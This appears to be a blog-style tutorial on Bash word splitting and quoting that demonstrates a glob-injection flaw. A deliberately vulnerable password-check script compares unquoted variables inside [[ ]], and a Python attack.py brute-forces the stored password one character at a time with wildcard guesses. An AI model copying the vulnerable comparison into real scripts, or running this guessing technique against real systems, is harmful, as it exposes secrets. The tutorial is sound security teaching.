In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.
Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.
Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.
An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.
Security Vulnerability:
- When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
- An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches
Variable expansion:
- Good: “$my_var”
- Bad: $my_var
Command substitution:
- Good: “$(cmd)”
- Bad: $(cmd)
Should I use backticks?
Command substitutions also come in this form:
- Correct: “`cmd`”
- Bad: `cmd`
Quoted Variables:
When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.
var="hello world"
echo "$var"
Unquoted Variables:
When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.
Word splitting breaks the variable’s value into words (typically separated by spaces).
var="hello world"
echo $var
Output:
Token: hello
Token: world
Example
1. In this example I will demonstrate how bash considers “$str1” & $str different
str1="hello world"
str2="hello world"
if [ "$str1" == $str2 ]; then
echo "Strings are equal."
else
echo "Strings are not equal."
fi
2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2
3. On the other if I use quotes in the 2 variables “$str1” and “$str2”
Exceptions
There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…
The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:
- variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
- assignments: a=$b
- the magical case command: case $var in … esac
- the magical context between double-brackets ([[ and ]]) – this is a language of its own.
Scenario
1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.
#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1"
value1=$(/usr/bin/cat secret.txt)
# Print a prompt for the user to enter a word
echo "Enter a word!"
read input1
# Compare the content of "secret.txt" with the user input
if [[ $value1 == $input1 ]]; then
echo "Confirmed!"
else
echo "Incorrect"
fi
2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed
#!/usr/share/python
import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False
# Print the list of characters being tested
print(all1)
# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
for char in all1:
# Construct a command to execute a script with a guessed password
command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
if "Confirmed" in output:
# If confirmed, update the password and print it
password += char
print(password)
break
else:
# If the loop completes without finding the correct password, set found to True
found = True
3. Run the script and see the output how and the password deciphered
- python attack.py
Note: The password is P4ssWorDVry4n
Recommendations
- Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
- Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
- Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
- If you need to store sensitive information in a file, consider encrypting the file.
Sources
https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash